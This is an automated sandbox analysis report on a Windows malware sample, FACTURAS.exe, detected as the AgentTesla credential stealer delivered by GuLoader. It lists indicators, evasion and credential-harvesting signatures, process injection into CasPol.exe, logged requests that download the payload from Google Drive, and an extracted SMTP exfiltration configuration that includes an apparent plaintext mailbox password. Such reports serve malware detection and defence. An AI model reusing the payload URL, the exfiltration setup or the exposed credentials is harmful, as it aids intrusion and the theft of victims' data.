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Windows Analysis Report FACTURAS.exe

Overview

General Information

Sample Name:FACTURAS.exe
Analysis ID:527918
MD5:ab63f9ba38d9eb4f8bd57ae56a844a31
SHA1:bf1c2a15553f893ff180a307dcb5805c6e440158
SHA256:5d14499fc44a623454a0518972ba97be883b0394f16f08b4265e46ff12ebfeb3
Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected GuLoader
Hides threads from debuggers
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
C2 URLs / IPs found in malware configuration
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64native
  • FACTURAS.exe (PID: 2936 cmdline: "C:\Users\user\Desktop\FACTURAS.exe" MD5: AB63F9BA38D9EB4F8BD57AE56A844A31)
    • CasPol.exe (PID: 7596 cmdline: "C:\Users\user\Desktop\FACTURAS.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
    • CasPol.exe (PID: 1028 cmdline: "C:\Users\user\Desktop\FACTURAS.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
      • conhost.exe (PID: 6344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • UserOOBEBroker.exe (PID: 5036 cmdline: C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding MD5: BCE744909EB87F293A85830D02B3D6EB)
  • cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "gulnaz@furteksdokuma.com.tr@Gulnaz159753mail.furteksdokuma.com.trsarahmorg434@gmail.com"}

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=download&id="}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.2778328367.0000000002290000.00000040.00000001.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    0000000D.00000002.7349511763.000000001DD21000.00000004.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
      0000000D.00000002.7349511763.000000001DD21000.00000004.00000001.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        0000000D.00000000.2516869676.0000000000C20000.00000040.00000001.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
          Process Memory Space: CasPol.exe PID: 1028JoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
            Click to see the 1 entries

            Sigma Overview

            No Sigma rule has matched

            Jbx Signature Overview

            Click to jump to signature section

            Show All Signature Results

            AV Detection:

            barindex
            Found malware configurationShow sources
            Source: 0000000D.00000000.2516869676.0000000000C20000.00000040.00000001.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id="}
            Source: UserOOBEBroker.exe.5036.21.memstrminMalware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "gulnaz@furteksdokuma.com.tr@Gulnaz159753mail.furteksdokuma.com.trsarahmorg434@gmail.com"}
            Multi AV Scanner detection for submitted fileShow sources
            Source: FACTURAS.exeVirustotal: Detection: 27%Perma Link
            Source: FACTURAS.exeReversingLabs: Detection: 15%
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_01175088 CryptUnprotectData,13_2_01175088
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_01175868 CryptUnprotectData,13_2_01175868
            Source: FACTURAS.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
            Source: unknownHTTPS traffic detected: 142.250.184.206:443 -> 192.168.11.20:49792 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 172.217.16.129:443 -> 192.168.11.20:49793 version: TLS 1.2

            Networking:

            barindex
            C2 URLs / IPs found in malware configurationShow sources
            Source: Malware configuration extractorURLs: https://drive.google.com/uc?export=download&id=
            Source: Joe Sandbox ViewASN Name: HETZNER-ASDE HETZNER-ASDE
            Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
            Source: Joe Sandbox ViewIP Address: 116.202.203.61 116.202.203.61
            Source: global trafficHTTP traffic detected: GET /uc?export=download&id=150165GSkz9-m3FahfFvn26gkuLRySZPu HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/rnbptrhp3ceb3h105f6050578iidjo4j/1637764800000/06007705055686197661/*/150165GSkz9-m3FahfFvn26gkuLRySZPu?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-5k-docs.googleusercontent.comConnection: Keep-Alive
            Source: global trafficTCP traffic: 192.168.11.20:49806 -> 116.202.203.61:587
            Source: global trafficTCP traffic: 192.168.11.20:49806 -> 116.202.203.61:587
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49792
            Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49792 -> 443
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: CasPol.exe, 0000000D.00000002.7349511763.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
            Source: CasPol.exe, 0000000D.00000002.7350801578.000000001DE28000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7350917897.000000001DE36000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7351132420.000000001DE62000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7351187881.000000001DE6A000.00000004.00000001.sdmpString found in binary or memory: http://8AH9aWyWzTn3yBDLZw.net
            Source: CasPol.exe, 0000000D.00000002.7350801578.000000001DE28000.00000004.00000001.sdmpString found in binary or memory: http://8AH9aWyWzTn3yBDLZw.nett-
            Source: CasPol.exe, 0000000D.00000002.7349511763.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: http://DynDns.comDynDNS
            Source: CasPol.exe, 0000000D.00000002.7335956710.0000000001002000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000002.7350917897.000000001DE36000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7336199881.0000000001017000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000002.7356678782.000000001FF48000.00000004.00000001.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
            Source: CasPol.exe, 0000000D.00000003.2751321706.0000000001061000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7337234857.0000000001061000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000003.2755167735.0000000001061000.00000004.00000001.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
            Source: CasPol.exe, 0000000D.00000002.7350917897.000000001DE36000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7336199881.0000000001017000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000002.7356922567.000000001FF72000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7356678782.000000001FF48000.00000004.00000001.sdmpString found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
            Source: CasPol.exe, 0000000D.00000002.7336567127.0000000001034000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000002.7350917897.000000001DE36000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7336199881.0000000001017000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000002.7356678782.000000001FF48000.00000004.00000001.sdmpString found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
            Source: CasPol.exe, 0000000D.00000003.2751321706.0000000001061000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7337234857.0000000001061000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000003.2755167735.0000000001061000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
            Source: CasPol.exe, 0000000D.00000002.7350917897.000000001DE36000.00000004.00000001.sdmpString found in binary or memory: http://furteksdokuma.com.tr
            Source: CasPol.exe, 0000000D.00000002.7349511763.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: http://kFWRbv.com
            Source: CasPol.exe, 0000000D.00000002.7350917897.000000001DE36000.00000004.00000001.sdmpString found in binary or memory: http://mail.furteksdokuma.com.tr
            Source: CasPol.exe, 0000000D.00000002.7335956710.0000000001002000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000002.7336567127.0000000001034000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000002.7350917897.000000001DE36000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7336199881.0000000001017000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000002.7356922567.000000001FF72000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7356678782.000000001FF48000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.comodoca.com0
            Source: UserOOBEBroker.exe, 00000015.00000002.7333160812.000001EB84730000.00000002.00020000.sdmpString found in binary or memory: http://schemas.microso
            Source: CasPol.exe, 0000000D.00000003.2751321706.0000000001061000.00000004.00000001.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
            Source: CasPol.exe, 0000000D.00000003.2751321706.0000000001061000.00000004.00000001.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/report-to/gse_l9ocaq
            Source: CasPol.exe, 0000000D.00000003.2755167735.0000000001061000.00000004.00000001.sdmpString found in binary or memory: https://doc-08-5k-docs.googleusercontent.com/
            Source: CasPol.exe, 0000000D.00000002.7336199881.0000000001017000.00000004.00000020.sdmpString found in binary or memory: https://doc-08-5k-docs.googleusercontent.com/_
            Source: CasPol.exe, 0000000D.00000003.2751321706.0000000001061000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7337234857.0000000001061000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000003.2754982414.0000000001043000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000003.2755167735.0000000001061000.00000004.00000001.sdmpString found in binary or memory: https://doc-08-5k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/rnbptrhp
            Source: CasPol.exe, 0000000D.00000003.2755167735.0000000001061000.00000004.00000001.sdmpString found in binary or memory: https://doc-08-5k-docs.googleusercontent.com/y
            Source: CasPol.exe, 0000000D.00000002.7335956710.0000000001002000.00000004.00000020.sdmpString found in binary or memory: https://drive.google.com/
            Source: CasPol.exe, 0000000D.00000002.7334475913.0000000000E30000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7336199881.0000000001017000.00000004.00000020.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=150165GSkz9-m3FahfFvn26gkuLRySZPu
            Source: CasPol.exe, 0000000D.00000003.2751137585.000000000104A000.00000004.00000001.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=150165GSkz9-m3FahfFvn26gkuLRySZPuFdq1n8HLuvGi-fpP0
            Source: CasPol.exe, 0000000D.00000002.7336199881.0000000001017000.00000004.00000020.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=150165GSkz9-m3FahfFvn26gkuLRySZPuk
            Source: CasPol.exe, 0000000D.00000002.7350383503.000000001DDD8000.00000004.00000001.sdmpString found in binary or memory: https://login.live.com/
            Source: CasPol.exe, 0000000D.00000002.7349511763.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: https://login.live.com//
            Source: CasPol.exe, 0000000D.00000002.7349511763.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: https://login.live.com/https://login.live.com/
            Source: CasPol.exe, 0000000D.00000002.7349511763.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: https://login.live.com/v104
            Source: CasPol.exe, 0000000D.00000002.7336567127.0000000001034000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000002.7350917897.000000001DE36000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7336199881.0000000001017000.00000004.00000020.sdmp, CasPol.exe, 0000000D.00000002.7356678782.000000001FF48000.00000004.00000001.sdmpString found in binary or memory: https://sectigo.com/CPS0
            Source: CasPol.exe, 0000000D.00000002.7350383503.000000001DDD8000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
            Source: CasPol.exe, 0000000D.00000002.7349511763.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
            Source: unknownDNS traffic detected: queries for: drive.google.com
            Source: global trafficHTTP traffic detected: GET /uc?export=download&id=150165GSkz9-m3FahfFvn26gkuLRySZPu HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/rnbptrhp3ceb3h105f6050578iidjo4j/1637764800000/06007705055686197661/*/150165GSkz9-m3FahfFvn26gkuLRySZPu?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-5k-docs.googleusercontent.comConnection: Keep-Alive
            Source: unknownHTTPS traffic detected: 142.250.184.206:443 -> 192.168.11.20:49792 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 172.217.16.129:443 -> 192.168.11.20:49793 version: TLS 1.2
            Source: FACTURAS.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_004036BD0_2_004036BD
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_004015380_2_00401538
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_004017740_2_00401774
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_004017270_2_00401727
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_008F004013_2_008F0040
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_008F698813_2_008F6988
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_008F142013_2_008F1420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_0093113013_2_00931130
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_00933A5013_2_00933A50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_0093BA5013_2_0093BA50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_0093432013_2_00934320
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_0093C7B013_2_0093C7B0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_0093370813_2_00933708
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_00F2849013_2_00F28490
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_00F2A9F813_2_00F2A9F8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_00F28F2013_2_00F28F20
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_00F2627013_2_00F26270
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_00F2333013_2_00F23330
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_011719B013_2_011719B0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_01172DA013_2_01172DA0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_01177E6013_2_01177E60
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_0117DED513_2_0117DED5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_0117D2E013_2_0117D2E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_0117A94013_2_0117A940
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_0117A9A013_2_0117A9A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_013C004013_2_013C0040
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_013C50F813_2_013C50F8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_013C6C7813_2_013C6C78
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_013C604813_2_013C6048
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_013CA42013_2_013CA420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_1DB95E0813_2_1DB95E08
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_1DB946C413_2_1DB946C4
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_1DB95DC113_2_1DB95DC1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_1DB96AF113_2_1DB96AF1
            Source: FACTURAS.exe, 00000000.00000000.2282400722.0000000000421000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameGILDER.exe vs FACTURAS.exe
            Source: FACTURAS.exeBinary or memory string: OriginalFilenameGILDER.exe vs FACTURAS.exe
            Source: C:\Users\user\Desktop\FACTURAS.exeSection loaded: edgegdi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: edgegdi.dllJump to behavior
            Source: C:\Windows\System32\oobe\UserOOBEBroker.exeSection loaded: edgegdi.dllJump to behavior
            Source: FACTURAS.exeVirustotal: Detection: 27%
            Source: FACTURAS.exeReversingLabs: Detection: 15%
            Source: FACTURAS.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\FACTURAS.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: C:\Users\user\Desktop\FACTURAS.exeSection loaded: C:\Windows\SysWOW64\msvbvm60.dllJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\FACTURAS.exe "C:\Users\user\Desktop\FACTURAS.exe"
            Source: C:\Users\user\Desktop\FACTURAS.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe"
            Source: C:\Users\user\Desktop\FACTURAS.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: unknownProcess created: C:\Windows\System32\oobe\UserOOBEBroker.exe C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
            Source: C:\Users\user\Desktop\FACTURAS.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe" Jump to behavior
            Source: C:\Users\user\Desktop\FACTURAS.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
            Source: C:\Users\user\Desktop\FACTURAS.exeFile created: C:\Users\user\AppData\Local\Temp\~DF31A7F5A6505F20A0.TMPJump to behavior
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@3/3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6344:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6344:120:WilError_03
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior

            Data Obfuscation:

            barindex
            Yara detected GuLoaderShow sources
            Source: Yara matchFile source: 00000000.00000002.2778328367.0000000002290000.00000040.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000D.00000000.2516869676.0000000000C20000.00000040.00000001.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_004013B4 push FFFFFFCDh; iretd 0_2_0040140C
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_0040204F push FFFFFFCDh; iretd 0_2_0040206F
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_004111C3 push ebp; ret 0_2_00411288
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_004051D5 push 0340104Fh; iretd 0_2_004051DB
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_00403A4A push esi; retf 0_2_00403A4B
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_00402B0E push FFFFFFCDh; iretd 0_2_00402D9B
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_00404C1F push eax; ret 0_2_00404C39
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_0040BCD6 push 3CF881B8h; ret 0_2_0040BD03
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_00413574 push 00000039h; iretd 0_2_00413578
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_0040A61E push D9EC50BBh; retf 0_2_0040A62B
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_0040A739 push cs; iretd 0_2_0040A73A
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_02295AF5 push esi; retf 0_2_02295B05
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_02290B8A pushfd ; ret 0_2_02290E7D
            Source: C:\Users\user\Desktop\FACTURAS.exeCode function: 0_2_022933FF push ds; retf 0_2_02293401
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_00F22177 push edi; retn 0000h13_2_00F22179
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 13_2_013C3D0A push eax; retf 13_2_013C3D51
            Source: C:\Users\user\Desktop\FACTURAS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
